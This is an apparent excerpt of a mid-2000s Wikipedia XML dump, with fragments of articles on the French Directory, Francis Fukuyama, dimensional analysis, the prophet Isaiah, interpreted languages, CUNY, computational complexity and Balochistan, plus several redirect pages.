=== The Directory === ''For more information on the events of [[September 26]] [[1795]]&amp;ndash;[[November 9]] [[1799]], see [[French Directory]].'' The new constitution installed the [[French Directory |''Directoire'']] ([[English language|English]]: ''Directory'') and created the first [[bicameral legislature]] in French history. The parliament consisted of 500 representatives (the ''Conseil des Cinq-Cents'' (Council of the Five Hundred)) and 250 senators (the ''Conseil des Anciens'' (Council of Seniors)). Executive power went to five &quot;directors&quot;, named annually by the ''Conseil des Anciens'' from a list submitted by the ''Conseil des Cinq-Cents''. The new [[regime|régime]] met with opposition from remaining Jacobins and the royalists. The army suppressed riots and counter-revolutionary activities. In this way the army and its successful general, [[Napoleon I of France|Napoleon Bonaparte]] gained much power. On [[November 9]] [[1799]] ([[18 Brumaire]] of the Year VIII) [[Napoleon]] staged the ''[[coup]]'' which installed the [[French Consulate|Consulate]]; this effectively led to his dictatorship and eventually (in 1804) to his proclamation as emperor, which brought to a close the specifically [[republic]]an phase of the French Revolution. == See also == * [[French Revolutionary Calendar]] * [[French Revolutionary Wars]] * [[Glossary of the French Revolution]] * [[History of democracy]] * [[List of people associated with the French Revolution]] * [[List of people granted honorary French citizenship during the French Revolution]] * [[Reactionary]] * [[Timeline of the French Revolution]] === Other revolutions in French history === * [[July Revolution]] * [[The Revolutions of 1848 in France]] * [[Paris Commune]] of 1871 * [[May 1968]], a noteworthy rebellion, though not quite a revolution == References== {{1911}} {{Mignet}} == Further reading == * Doyle, William. ''Oxford history of the French Revolution'', 2nd ed., Oxford: Oxford University Press, 2002 ISBN 0-19-925298-X * Doyle, William. ''Origins of the French Revolution'', 3rd ed., Oxford: Oxford University Press, 1999 ISBN 0-19-873175-2, ISBN 0-19-873174-4 (pbk.) * Furet, François. ''La révolution en debat'', Paris: Gallimard, 1999 ISBN 2-07-040784-5 ** A short but important book with a series of articles on the historiography of the revolution * Hibbert, Christopher. ''The Days of the French Revolution'', New York: Morrow Quill Paperbacks, 1981. ISBN 0-688-00746-5 (pbk.) ** A very well researched classic of the genre available in many bookstores. * Legrand, Jacques. ''Chronicle of the French Revolution 1788-1799'', London: Longman and Chronicle Communications, 1989 ISBN 0-582051-94-0 ** The English-language edition of the collaborative work ''Chronique de la Révolution 1788-1799'', Paris: Larousse, 1988 ISBN 2-03-503250-4, produced under the direction of Jean Favier and others. * Loomis, Stanley. ''Paris in the Terror, June 1793 &amp;ndash; July 1794'', Drum Book, 1986 ISBN 0-931933-18-8 * McPhee, Peter. ''The French Revolution, 1789-1799'', Oxford: Oxford University Press, 2002 ISBN 0-19-924414-6 ** A short but up-to-date and useful book which covers many areas including feminism and environment etc. * Tackett, Timothy. ''Becoming a Revolutionary: the deputies of the French National Assembly and the emergence of a revolutionary culture (1789-1790)'', Princeton, N.J.; Chichester: Princeton University Press, 1996 ISBN 0-691-04384-1 ** The most thorough research on the deputies of the Estates General and the National Assembly. * Vermeil, Jean. ''L`autre Histoire de France'', Paris: Editions du Félin, 1993 ISBN 2-86645-139-2 ** &quot;The exactions of the revolutionaries in the Vendée&quot; (Chapters 13 to 16). (In French) == External links == * [http://www.desaix.com The Musée de Veygoux] is a museum in [[Auvergne (région)|Auvergne]] dedicated to the French Revolution and [[Desaix]] [[Category:French Revolution]] {{Link FA|es}} [[af:Franse Rewolusie]] [[ar:الثورة الفرنسية]] [[ast:Revolución Francesa]] [[bn:ফরাসী বিপ্লব]] [[bs:Francuska revolucija]] [[ca:Revolució Francesa]] [[cs:Velká francouzská revoluce]] [[cy:Y Chwyldro Ffrengig]] [[da:Den franske revolution]] [[de:Französische Revolution]] [[et:Suur Prantsuse revolutsioon]] [[el:Γαλλική Επανάσταση]] [[es:Revolución Francesa]] [[eo:Francaj revolucioj]] [[eu:Frantziako Iraultza]] [[fr:Révolution française]] [[ko:프랑스 혁명]] [[hr:Francuska revolucija]] [[id:Revolusi Perancis]] [[it:Rivoluzione francese]] [[he:המהפכה הצרפתית]] [[kw:Domhwelans Frynkek]] [[lv:Franču revolūcija]] [[lt:Didžioji Prancūzų revoliucija]] [[nl:Franse Revolutie]] [[nds:Franzöösche Revolutschoon]] [[ja:フランス革命]] [[no:Den franske revolusjon]] [[nn:Den franske revolusjonen]] [[pl:Wielka Rewolucja Francuska]] [[pt:Revolução Francesa]] [[ro:Revoluţia franceză]] [[ru:Великая французская революция]] [[scn:Rivuluzzioni francisi]] [[simple:French Revolution]] [[sk:Francúzska revolúcia]] [[sl:Francoska revolucija]] [[sr:Француска револуција]] [[fi:Ranskan suuri vallankumous]] [[sv:Franska revolutionen]] [[th:การปฏิวัติฝรั่งเศส]] [[vi:Cách mạng Pháp]] [[tr:Fransız İhtilali]] [[zh:法国大革命]]</text> </revision> </page> <page> <title>Fictional realm</title> <id>11189</id> <revision> <id>15908952</id> <timestamp>2004-08-16T06:11:37Z</timestamp> <contributor> <username>Gtrmp</username> <id>38984</id> </contributor> <comment>merged into [[fictional universe]]</comment> <text xml:space="preserve">#redirect [[fictional universe]]</text> </revision> </page> <page> <title>Feminist Spirituality</title> <id>11190</id> <revision> <id>15908953</id> <timestamp>2002-02-25T15:51:15Z</timestamp> <contributor> <ip>Conversion script</ip> </contributor> <minor /> <comment>Automated conversion</comment> <text xml:space="preserve">#REDIRECT [[Feminist spirituality]] </text> </revision> </page> <page> <title>Francis Fukuyama</title> <id>11194</id> <revision> <id>42038853</id> <timestamp>2006-03-03T11:01:37Z</timestamp> <contributor> <ip>128.12.193.78</ip> </contributor> <text xml:space="preserve">[[Image:Francis_Fukuyama.jpg|right|thumb]] '''Francis Fukuyama''' (born [[October 27]], [[1952]] in [[Chicago, Illinois|Chicago]]) is an influential [[United States|American]] [[Political economy|political economist]] and author. He received his B.A. from [[Cornell University]] in classics, his Ph.D. from [[Harvard]] in Political Science, and is currently Bernard L. Schwartz Professor of [[International Political Economy]] and Director of the International Development Program at the [[Johns Hopkins University]] [[Johns_Hopkins_SAIS|School of Advanced International Studies]]. ==Biography== Fukuyama is best known as the author of ''[[The End of History and the Last Man]]'', in which he argues that the progression of human history as a struggle between ideologies is largely at an end, with the world settling on [[liberal democracy]] after the end of the [[Cold War]] and when the [[Berlin Wall]] fell in 1989. Fukuyama's prophecy declares the eventual triumph of political and economic liberalism. He has written a number of other books, among them ''[[Trust: The Social Virtues and the Creation of Prosperity]]'' and ''[[Our Posthuman Future: Consequences of the Biotechnology Revolution]]''. In the latter, he qualifies his original &quot;end of history&quot; thesis, arguing that since biotechnology increasingly allows humans to control their own [[evolution]], it may allow humans to become fundamentally unequal, and thus spell the end of liberal democracy as a workable system. Fukuy
^{-2} \Longleftrightarrow\ H ^ + + B ^{-3} \qquad K_3 = {[H ^ +] \cdot [ B ^ {-3}] \over [H B ^ {-2} ]} \qquad pK_3 = - log K_3 &lt;/math&gt; == See also == * [[Acid dissociation constant]] * [[Base dissociation constant]] * [[Receptor (biochemistry)]] * [[Dissociation (chemistry)]] * [[Equilibrium Constant]] {{chem-stub}} [[ar:ثابت انحلال]] [[de:Dissoziationskonstante]] [[it:Costante di dissociazione]] [[et:Dissotsiatsiooniaste]] [[ko:이온화 상수]] [[pl:Stała dysocjacji]] [[ru:Константа диссоциации]]</text> </revision> </page> <page> <title>Dumpster-diving</title> <id>8264</id> <revision> <id>26458130</id> <timestamp>2005-10-25T17:50:31Z</timestamp> <contributor> <username>RussBot</username> <id>279219</id> </contributor> <minor /> <comment>Robot: [[Wikipedia:Computer help desk/cleanup/double redirects/20051009|fixing double-redirect]] -&quot;Dumpster® diving&quot; +&quot;Dumpster diving&quot;</comment> <text xml:space="preserve">#REDIRECT [[Dumpster diving]]</text> </revision> </page> <page> <title>DMCA</title> <id>8266</id> <revision> <id>15906275</id> <timestamp>2004-06-04T06:41:43Z</timestamp> <contributor> <ip>Template namespace initialisation script</ip> </contributor> <text xml:space="preserve">#REDIRECT [[Digital Millennium Copyright Act]] {{r_from_abbreviation}}</text> </revision> </page> <page> <title>Dimensional analysis</title> <id>8267</id> <revision> <id>41763305</id> <timestamp>2006-03-01T15:53:10Z</timestamp> <contributor> <username>DonSiano</username> <id>215548</id> </contributor> <comment>/* See also */already linked in text, so removed dimensional number</comment> <text xml:space="preserve">'''Dimensional analysis''' is a conceptual tool often applied in [[physics]], [[chemistry]], and [[engineering]] to understand physical situations involving a mix of different kinds of physical quantities. It is routinely used by physical scientists and engineers to check the correctness of [[derivation|derived]] equations and computations. It is also used to form reasonable hypotheses about complex physical situations that can be tested by experiment or by more developed theories of the phenomena. == Introduction == The dimensions of a physical quantity are associated with symbols, such as ''M'', ''L'', ''T'' which represent mass, length and time, and each raised to rational powers. For instance, the dimension of the physical quantity, [[speed]], is distance/time (''L''/''T'') and the dimension of a [[force (physics)|force]] is mass × distance/time² or ''ML''/''T''&lt;sup&gt;2&lt;/sup&gt;. In mechanics, every dimension of physical quantity can be expressed in terms of distance (which physicists often call &quot;length&quot;), time, and mass, or alternatively in terms of force, length and mass. Depending on the problem, it may be advantageous to choose one or another other set of dimensional symbols. In electromagnetism, for example, it may be useful to use dimensions of ''M'', ''L'', ''T'', and ''Q'', where ''Q'' represents quantity of [[electric charge]]. The units of a physical variable and its dimensions should be clearly differentiated. The [[Units of measurement|unit]]s of a physical quantity are defined by convention, related to some standard; e.g. length may have units of meters, feet, inches, miles or micrometres; but a length always has a dimension of L. Two different units of a variable have [[Conversion of units|conversion factors]] between them. For example: 1 m = 39.37 in; the 39.37 is called a conversion factor. There are no conversion factors between dimensional symbols. Dimensional symbols, such as ''L'', form a [[Group (mathematics)|group]]: there is an identity, &lt;math&gt;L^0=1&lt;/math&gt;; there is an inverse to ''L'', which is 1/''L'', and ''L'' raised to any rational power ''p'' is a member of the group, having an inverse of 1/''L'' raised to the power ''p''. The operation of the group is multiplication, with the usual rules for handling exponents. In the most primitive form, dimensional analysis may be used to check the correctness of physical equations: the two sides of any equation must have the same dimensions, i.e., the equation must be dimensionally homogeneous. As a corollary of this requirement, it follows that in a physically meaningful expression, only quantities of the same dimension can be added or subtracted. For example, the mass of a rat and the mass of a flea may be added, but the mass of a flea and the length of a rat cannot be added. As a further corollary, scalar arguments to [[Exponential function|exponential]], [[Trigonometric function|trigonometric]] and [[logarithm]]ic functions must be [[dimensionless number]]s. The logarithm of 3 kg is undefined, but the logarithm of 3 is nearly 0.477. This is essentially due to the requirement for the [[Taylor expansion]] of these functions to be dimensionally homogeneous, which means that the square of the argument must be of the same dimension as the argument itself. For scalar arguments, this means the argument must be dimensionless, but certain dimensioned tensors are dimensionally self-square (Hart, 1995) and may be used as arguments to these functions. The magnitudes of variables having different dimensions cannot be compared to one another either, or used in inequalities: 3 m &gt; 1 g is not correct, nor is it a meaningful expression. The value of a dimensional physical quantity is written as the product of a unit within the dimension and a dimensionless numerical factor. Strictly, when like dimensioned quantities are added or subtracted or compared, these dimensioned quantities must be expressed in consistent units so that the numerical values of these quantities may be directly added or subtracted. There is no problem adding quantities of the same dimension expressed in different units as long as a conversion factor is used to bring them into the same units. === A simple example=== What is the period of oscillation &lt;math&gt;T&lt;/math&gt; of a mass &lt;math&gt;m&lt;/math&gt; attached to an ideal linear spring with spring constant &lt;math&gt;k&lt;/math&gt; suspended in gravity of strength &lt;math&gt;g&lt;/math&gt;? The four quantities have the following dimensions: &lt;math&gt;T&lt;/math&gt; [T]; &lt;math&gt;m&lt;/math&gt; [M]; &lt;math&gt;k&lt;/math&gt; [M/T^2]; and &lt;math&gt;g&lt;/math&gt; [L/T^2]. From these we can form only one dimensionless product of powers of our chosen variables, &lt;math&gt;G_1&lt;/math&gt; = &lt;math&gt;T^2 k/m&lt;/math&gt;. The dimensionless product of powers of variables is sometimes referred to as a dimensionless group of variables, but the group, &lt;math&gt;G_1&lt;/math&gt;, referred to means &quot;collection&quot; rather than mathematical [[Group (mathematics)|group]]. They are often called [[dimensionless numbers]] as well. Note that no other dimensionless product of powers involving &lt;math&gt;g&lt;/math&gt; with k,m, T, and g alone can be formed, because only g involves L . Dimensional analysis can sometimes yield strong statements about the ''irrelevance'' of some quantities in a problem, or the need for additional parameters. If we have chosen enough variables to properly describe the problem, then from this argument we can conlude that the period of the mass on the spring is independent of ''g'': it is the same on the earth or the moon. The equation demonstrating the existence of a product of powers for our problem can be written in an entirely equivalent way: &lt;math&gt;T = \kappa \sqrt{m/k}&lt;/math&gt;, for some dimensionless constant &lt;math&gt;\kappa&lt;/math&gt;. When faced with a case where our analysis rejects a variable (g, here) that we feel sure really belongs in a physical description of the situation, we might also consider the possibility that the rejected variable is in fact relevant, and that some other relevant variable has been omitted, which might combine with the rejected variable to form a dimensionless quantity. That is, however, not the case here. When dimensional analysis yields a solution of problems where only one dimensionless product of powers is involved, as here, there are no unknown functions, and the solution is said to be &quot;complete.&quot; ===A more complex example=== Consider the case of a vibrating wire of length l [&lt;math&gt;L&lt;/math&gt;] vibrating with an amplitude A [&lt;math&gt;L&lt;/math&gt;]. The wire has a linear density of ρ [&lt;math&gt;M/L&lt;/math&gt;] and is under tension s [&lt;math&gt;ML/T^2&lt;/math&gt;], and we want to know the energy, E, in the wire. Now we can easily find that we can form two dimensionless products of powers of the variables chosen. &lt;math&gt;\pi_1 = E/As&lt;/math&gt;, and &lt;math&gt;\pi_2 = l/A&lt;/math&gt;. Perhaps surprisingly, like the g in the simple example given above, the linear density of the wire is not involved in either. The two groups found can be combined into an equivalent form as an equation :&lt;math&gt;F (E/As, l/A) = 0&lt;/math&gt;, where F is some unknown function, or, equivalently as :&lt;math&gt;E = A s f(l/A) &lt;/math&gt;, where f is some other unknown function. Here the unknown function implies that our solution is now incomplete, but dimensional analysis has given us something that may not have been obvious: The energy is proportional to the first power of the tension. Barring further analytical analysis, we might proceed to experiments to discover the form for the unknown function f. But our experiments are simpler than in the absence of dimensional analysis. We'd perform none to verify that the energy is proportional to the tension. Or perhaps we might guess that the Energy is proportional to l, and so infer that &lt;math&gt;E = l s&lt;/math&gt;. The power of dimensional analysis as an aid to
[[Assyria]]n monarch [[Tiglath-Pileser III]] (2 Kings 15:19); and again, twenty years later, when he had already entered on his office, by the invasion of [[Tiglath-Pileser III|Tiglath-Pileser]] and his career of conquest. Ahaz, king of Judah, at this crisis refused to co-operate with the kings of [[kingdom of Israel|Israel]] and [[Syria]] in opposition to the Assyrians, and was on that account attacked and defeated by Rezin of [[Damascus]] and [[Pekah]] of Israel (2 Kings 16:5; [[Books of Chronicles|2 Chronicles]] 28:5, 6). Ahaz, thus humbled, sided with Assyria, and sought the aid of [[Tiglath-Pileser III|Tiglath-Pileser]] against Israel and Syria. The consequence was that Rezin and Pekah were conquered and many of the people carried captive to Assyria (2 Kings 15:29; 16:9; [[Books of Chronicles|1 Chronicles]] 5:26). Soon after this [[Shalmaneser V]] determined wholly to subdue the kingdom of Israel, [[Samaria]] was taken and destroyed ([[720s BC|722 BC]]). So long as Ahaz reigned, the kingdom of Judah was unmolested by the Assyrian power; but on his accession to the throne, Hezekiah, who was encouraged by Isaiah to rebel &quot;against the king of Assyria&quot; (2 Kings 18:7), entered into an alliance with the king of [[Egypt]] (Isa. 30:2-4). This led the king of Assyria to threaten the king of Judah, and at length to invade the land. [[Sennacherib]] ([[700s BC|701 BC]]) led a powerful army into Judah. Hezekiah was reduced to despair, and submitted to the Assyrians (2 Kings 18:14-16). But after a brief interval war broke out again, and again Sennacherib led an army into Judah, one detachment of which threatened Jerusalem (Isa. 36:2-22; 37:8). Isaiah on that occasion encouraged Hezekiah to resist the Assyrians (37:1-7), whereupon Sennacherib sent a threatening letter to Hezekiah, which he &quot;spread before the Lord&quot; (37:14). According to the account in Kings (and its derivative account in Chronicles) the judgement of God now fell on the Assyrian army. &quot;Like [[Xerxes I|Xerxes]] in Greece, Sennacherib never recovered from the shock of the disaster in Judah. He made no more expeditions against either southern Palestine or Egypt.&quot; The remaining years of Hezekiah's reign were peaceful (2 Chr. 32:23, 27-29). Isaiah probably lived to its close, and possibly into the reign of Manasseh, but the time and manner of his death are not specified in either the [[Bible]] or recorded history. There is a tradition that he suffered martyrdom in the pagan reaction in the time of Manasseh. Both [[Judaism|Jewish]] and [[Christianity|Christian]] traditions state that he was killed by being sawed in half. Some interpreters believe that this is what is referred to by [[Epistle to the Hebrews|Hebrews]] 11:37 (in the [[New Testament]]), which states that some prophets were &quot;sawn in two&quot;. It is also mentioned in the book of The Martyrdom of Isaiah that he lived into the days of Manasseh, and was also sawn in half with a wooden saw. ==Critical Scholarship== [[Image:Paris psalter.jpg|thumb|left|200px|''Prophet Isaiah Praying at Night'' (10th-century Byzantine miniature from the [[Paris Psalter]]).]] The noticable break between the first part of Isaiah (Is. 1-39) versus the latter half of the book (Is. 40-66) caught the eye of eighteenth century critical scholars Doderlein (1789) and Eichhorn (1783), who advocated a source-critical reading of the book, seeing chapters 40-66 as later, post-exilic additions, or even totally separate works artificially appended to the earlier composition. The term &quot;Deutero-Isaiah&quot; described the anonymous later writer, to whom some ascribed some redactionary roles as well. Some more recent commentators have further divided 40-66 by adding a third Isaiah, Trito-Isaiah, who wrote 56-66. The provenance of the text in the latter half of the book seemed to support a post-exilic timeframe, with direct references to Cyrus, King of Persia 944:28; 45:1, 13), a lament for the ruined temple, and other details. Also, the tone of the two halves is different; the first seems to warn erring Judah of impending divine judgement through foreign conquest, while the second seems to provide comfort to a broken people. Other scholars, such as Margalioth (1964) challenged the view of multiple authorship by pointing out the remarkable unity of the book Isaiah in terms of theme, message, and vocabulary. Even certain verbal formulas unique to Isaiah, such as &quot;the mouth of the Lord has spoken,&quot; appears in both halves of Isaiah but in no other Hebrew prophetic literature. While clear differences between the two halves of the book were evident, thematically the two halves are remarkably similar, certainly more similar to each other than to any other existing prophetic literature. Recent trends in critical scholarship have focused on synchronic approaches, which advocate a whole-text reading, rather than the traditional historical-critical diachronic approaches, which tend to be directed at taking the text apart, looking for sources, redactional seams, etc. Inspired by Hebrew Bible literary criticism done by Robert Alter, recent scholars have tended to circumscribe authorship and historical-critical questions and look at the final form of the book as a literary whole, a product of the post-exilic era which is characterized by literary and thematic unity. ==External links== *[http://www.newadvent.org/cathen/08179b.htm Isaiah (Isaias)] at the [[Catholic Encyclopedia]] *[http://www.isaiah13.com Isaiah] Metal Band, UK {{eastons}} [[Category:Tanakh prophets]] [[Category:Christian prophets]] [[cs:Izajáš]] [[de:Jesaja (Prophet)]] [[es:Isaías]] [[fr:Ésaïe]] [[he:ישעיהו]] [[pl:Izajasz]] [[pt:Isaías]] [[ro:Isaia]] [[ru:Исаия]] [[fi:Jesaja]] [[sv:Jesaja]]</text> </revision> </page> <page> <title>Interpreted language</title> <id>15089</id> <revision> <id>40443549</id> <timestamp>2006-02-20T16:16:56Z</timestamp> <contributor> <ip>70.156.72.147</ip> </contributor> <comment>/* List of frequently interpreted languages */</comment> <text xml:space="preserve">In [[computer programming]], an '''interpreted language''' is a programming language whose programs may be executed from source form, by an [[interpreter (computer software)|interpreter]]. Any language may, in theory, be compiled ''or'' interpreted; therefore, this designation refers to languages' implementations rather than designs. In fact, many languages have both compilers and interpreters, including [[Lisp programming language|Lisp]], [[C programming language|C]], [[BASIC programming language|BASIC]], and [[Python programming language|Python]]. This term has no meaning in computer science, which strictly distinguishes between languages and implementations. However, people often use it as a useful shortcut to signify languages that are traditionally interpreted, or for which no compilers are written. ==Historical background== In the early days of computing, language design was heavily influenced by the decision to use compilation or interpretation as a mode of execution. For example, some compiled languages require that programs must explicitly state the data-type of a [[variable]] at the time it is declared or first used. On the other hand, some languages take advantage of the dynamic aspects of interpretation to make such declarations unnecessary. For example, [[Smalltalk programming language|Smalltalk]]&amp;mdash;which was designed to be interpreted at run-time&amp;mdash;allows generic Objects to dynamically interact with each other. Initially, interpreted languages were compiled line-by-line; that is, each line was compiled as it was about to be executed, and if a loop or subroutine caused certain lines to be executed multiple times, they would be recompiled every time. This has become much less common. Most so-called interpreted languages use an [[intermediate representation]], which combines both compilation and interpretation. In this case, a compiler may output some form of [[bytecode]], which is then executed by a bytecode interpreter. Examples include [[Python programming language|Python]], [[Java programming language|Java]], and [[Perl programming language|Perl]]. Similarly, [[Ruby language|Ruby]] uses an [[abstract syntax tree]] as intermediate representation. The intermediate representation can be compiled once and for all, like Java, each time before execution like Perl or Ruby, or each time a change in the source is detected before execution like Python. ==Language features suiting interpreters well== Interpreted languages still give programs certain extra flexibility over compiled languages. Features that are easier to implement in interpreters than in compilers include (but are not limited to): * [[platform (computing)|platform]] independence (Java's byte code, for example) * reflective usage of the evaluator (e.g. a first-order [[eval]] function) * [[dynamic typing]] * ease of [[debugging]] (It is easier to get source code information in interpreted language) * small program size (Since interpreted languages have flexibility to choose instruction code) * [[polymorphism (computer science)|object polymorphism]] * [[scope (programming)|dynamic scoping]] ==List of frequently interpreted languages== * [[BASIC programming language|BASIC]] (although the original version, Dartmouth BASIC, was compiled, as are most modern BASICs) * [[Ch interpreter|Ch]] (embeddable C/C++ interpreter) * [[CINT]] (C/C++ interpreter) * [[Euphoria programming language|Euphoria]] * [[Forth programming language|Forth]] (traditionally threaded interpreted) * [[Java programming language|Java]] (compiled to bytecode which is then interpreted) * [[JavaScript]] * [[Lisp programming language|Lisp]] (Depends on the implementation, some are compiled, some are bytcode) * [[Logo programming language|Logo]] (interpretation makes interactivity easier) * [[Maple computer algebra s
e [[California State University]] system. CUNY and the [[State University of New York]] are entirely different university systems, despite the fact that both are public institutions which receive funding from New York State. == History == CUNY's history dates back to the formation of the Free Academy in [[1847]]. The school was fashioned as &quot;a Free Academy for the purpose of extending the benefits of education gratuitously to persons who have been pupils in the common schools of the &amp;#8230;city and county of New York.&quot; The Free Academy later became The City College, the first CUNY college. From this grew a system of seven senior colleges, four hybrid schools, six community colleges, as well as graduate schools and professional programs. CUNY was established in [[1961]] as the umbrella institution of the municipal colleges of New York City. == Structure == The City University is governed by the Board of Trustees composed of 17 members, ten of whom are appointed by the Governor of [[New York]] &quot;with the advice and consent of the senate,&quot; and five by the Mayor of New York City &quot;with the advice and consent of the senate.&quot; One trustee is the chair of the university's student senate, and finally, one trustee, without a vote, is the chair of the university's faculty senate. Both the mayoral and gubernatorial appointments to the CUNY Board are required to include at least one resident of each of New York City's five boroughs. Trustees serve seven-year terms, which are renewable for another seven years. College presidents report directly to the Board. The Chancellor is voted upon by the Board of Trustees, and is the &quot;chief educational and administrative officer&quot; of the City University. Unlike other state college systems, CUNY does not operate as a central authority to the colleges and, in fact, the central administration has limited power over the colleges. This is partly because most of the senior colleges (namely Brooklyn, Hunter, Queens, and City) predate CUNY and were thus established by mandate of the New York State Legislature, which has institutionalized the autonomy of the colleges. College presidents and faculty typically view CUNY as a loose confederation rather than a unified system. Nevertheless, in recent years and at the behest of the Governor and the Mayor, the Board of Trustees and the Chancellor have, through the power of the purse, succeeded in weakening the college presidents and faculty and consolidating executive powers to themselves. == Colleges == CUNY consists of three different types of institutions: senior colleges, which grant bachelor's degrees and occasionally master's and associates degrees; community colleges, which grant associate's degrees; and graduate/professional schools. CUNY's Law School grants juris doctor (J.D.) degrees, and Ph.D. degrees are awarded only by the CUNY Graduate Center. The colleges are listed below, with establishment dates in parentheses. === Senior colleges === *([[1970]]) [[Medgar Evers College]] *([[1966]]) [[York College, City University of New York|York College]] *([[1964]]) [[John Jay College of Criminal Justice]] *([[1955]]) [[College of Staten Island]] *([[1946]]) [[New York City College of Technology]] *([[1937]]) [[Queens College, New York|Queens College]] *([[1931]]) [[Lehman College]] (as ''Hunter-in-the-Bronx'', a Bronx branch of Hunter College, renamed in 1968 as Lehman College) *([[1930]]) [[Brooklyn College]] *([[1919]]) [[Baruch College]] (as ''City College’s School of Business and Civic Administration'', renamed in 1953 to honor Bernard M. Baruch) *([[1870]]) [[Hunter College]] *([[1847]]) [[City College of New York|City College]] === Community colleges === *([[1970]]) [[Hostos Community College]] *([[1968]]) [[LaGuardia Community College]] *([[1963]]) [[Kingsborough Community College]] *([[1963]]) [[Borough of Manhattan Community College]] *([[1958]]) [[Queensborough Community College]] *([[1957]]) [[Bronx Community College]] === Graduate and professional schools === *([[1983]]) [[CUNY Law School]] *([[1973]]) [[Sophie Davis School of Biomedical Education]] *([[1961]]) [[CUNY Graduate Center]] ==See also== *[[Education in New York City]] *Official website: [http://www.cuny.edu/ City University of New York] {{CUNY}} {{New York City}} [[Category:City University of New York|*]] [[Category:Universities and colleges in New York City]] [[Category:Middle States Association of Colleges and Schools]] [[ja:ニューヨーク市立大学]] [[pt:Universidade da Cidade de Nova Iorque]]</text> </revision> </page> <page> <title>Christian Alternative</title> <id>7542</id> <revision> <id>38162152</id> <timestamp>2006-02-04T16:51:23Z</timestamp> <contributor> <username>Eskimbot</username> <id>477460</id> </contributor> <minor /> <comment>Robot: Fixing double redirect</comment> <text xml:space="preserve">#REDIRECT [[Christian alternative rock]]</text> </revision> </page> <page> <title>Computational complexity theory</title> <id>7543</id> <revision> <id>41927488</id> <timestamp>2006-03-02T17:59:27Z</timestamp> <contributor> <username>Readams</username> <id>611118</id> </contributor> <comment>no, it won't be possible. 2^100 is and always will be intractable. Sorry.</comment> <text xml:space="preserve">In [[computer science]], '''computational complexity theory''' is the branch of the [[theory of computation]] that studies the resources, or ''cost'', of the computation required to solve a given problem. This cost is usually measured in terms of abstract parameters such as time and space. ''Time'' represents the number of steps it takes to solve a problem and ''space'' represents the quantity of information storage required or how much memory it takes. There are often tradeoffs between time and space that have to be considered when trying to solve a computational problem. It often turns out that an alternative algorithm will require less time but more space (or vice versa) to solve a given problem. Time requirements sometimes must be amortized to determine the time cost for a well defined average case. Space requirements can be profiled over time, too, especially in consideration of a multi-user computer system. Other resources can also be considered, such as how many [[parallel processor]]s are needed to solve a problem in parallel. In this case, &quot;parallelizable time&quot; and &quot;non-parallelizable time&quot; are considered. The latter is important in real-time applications, and it gives a limit to how far the computation can be parallelized. Some steps must be done sequentially because they depend on the results of previous steps. Complexity theory differs from [[computability theory (computation)|computability theory]], which deals with whether a problem can be solved at all, regardless of the resources required. ==Overview== After the theory explaining which problems can be solved and which cannot be, it was natural to ask about the relative computational difficulty of [[computable function]]s. This is the subject matter of computational complexity. A single &quot;problem&quot; is an entire set of related questions, where each question is a finite-length [[string (computer science)|string]]. For example, the problem [[integer factorization|''FACTORIZE'']] is: given an integer written in [[binary number|binary]], return all of the [[prime number|prime]] factors of that number. A particular question is called an ''instance''. For example, &quot;give the factors of the number 15&quot; is one instance of the ''FACTORIZE'' problem. The '''time complexity''' of a problem is the number of steps that it takes to solve an instance of the problem as a function of the [[problem size|size of the input]] (usually measured in bits), using the most efficient [[algorithm]]. To understand this intuitively, consider the example of an instance that is ''n'' bits long that can be solved in ''n''² steps. In this example we say the problem has a time complexity of ''n''². Of course, the exact number of steps will depend on exactly what machine or language is being used. To avoid that problem, we generally use [[Big O notation]]. If a problem has time complexity O(''n''²) on one typical computer, then it will also have complexity O(''n''²p(n)) on most other computers for some polynomial p(n), so this notation allows us to generalize away from the details of a particular computer. '''Example:''' Mowing grass has linear complexity because it takes double the time to mow double the area. However, looking up something in a dictionary has only logarithmic complexity because a double sized dictionary only has to be opened one time more (e.g. exactly in the middle - then the problem is reduced to the half). ==Decision problems== Much of complexity theory deals with decision problems. A [[decision problem]] is a problem where the answer is always YES/NO. For example, the problem ''IS-PRIME'' is: given an integer written in binary, return whether it is a prime number or not. A decision problem is equivalent to a ''language'', which is a set of finite-length strings. For a given decision problem, the equivalent language is the set of all strings for which the answer is YES. Decision problems are often considered because an arbitrary problem can always be reduced to a decision problem. For example, the problem ''HAS-FACTOR'' is: given integers ''n'' and ''k'' written in binary, return whether ''n'' has any prime factors less than ''k''. If we can solve ''HAS-FACTOR'' with a certain amount of resources, then we can use that solution to solve ''FACTORIZE'' without much more resources. Just do a [[binary search]] on ''k'' until you find the smallest factor of ''n''. Then divide out that factor, and repeat until you find all the factors. Complexity t
[South Asia]] and the [[Iranian plateau]], the earliest of which was [[Mehrgarh]] dated at [[6500 BC|6500 BCE]]. Balochistan was sparsely populated by various [[Elamo-Dravidian]] and [[Indo-Iranian]] tribes for centuries following the decline of the nearby [[Harappa]]-[[Mohenjo-daro]] civilisation to the east. Over time, Balochistan was invaded by various Eurasian groups including the [[Aryans]], [[Persians]], [[Greeks]], [[Kushans]], [[Arabs]], [[Turkic peoples|Turks]], [[Mongols]], [[Mughals]], [[Afghans]], and the [[United Kingdom|British]]. Aryan invasions appear to have led to the eventual demise of the Elamo-Dravidians with the exception of the [[Brahui]] who may have arrived much later as did the Balochis themselves. The Balochis began to arrive from their homeland in northern Iran and appear to be an offshoot of the [[Kurdish people|Kurdish]] tribes that would mainly populate the western end of the Iranian plateau. The Balochi tribes eventually became a sizable group rivalled only by another Iranian group, the [[Pashtuns]], while the Brahuis increasingly came under the cultural influence of the Balochis. Muslim Arab invaders annexed the region during the [[Abbasid]] period and conversion to [[Islam]] was coupled with the Balochi assimilation of Arab culture as well. Today, many Balochis believe that their origins are [[Semitic]] and not [[Iranian peoples|Iranian]] contrary to linguistic and historical evidence. Balochi tradition holds that they left their [[Aleppo]] homeland in [[Syria]] at some point during the 1st millennium CE and moved to Balochistan, but it appears more likely that the Balochis are an Iranian group who have absorbed some Arab ancestry and cultural traits instead. Balochistan subsequently was dominated by empires based in [[Iran]] and [[Afghanistan]] as well as the [[Mughal]] empire based in India. [[Ahmad Shah]] Durrani annexed the region as part of a &quot;greater&quot; [[Afghanistan]]. The area would eventually revert to local Balochi control, while parts of the northern regions would continue to be dominated by Pashtun tribes. ===British Era=== During the period of the British [[Raj]], there were four [[Princely States]] in Balochistan: [[State of Makran|Makran]], [[State of Kharan|Kharan]], [[State of Las Bela|Las Bela]] and [[State of Kalat|Kalat]], the largest and most powerful. During the first few decades of the 20th century it became clear that the British would eventually leave and that India would be partitioned. Kalat was ruled by [[Mir Ahmed Yar Khan]], who wanted independence rather 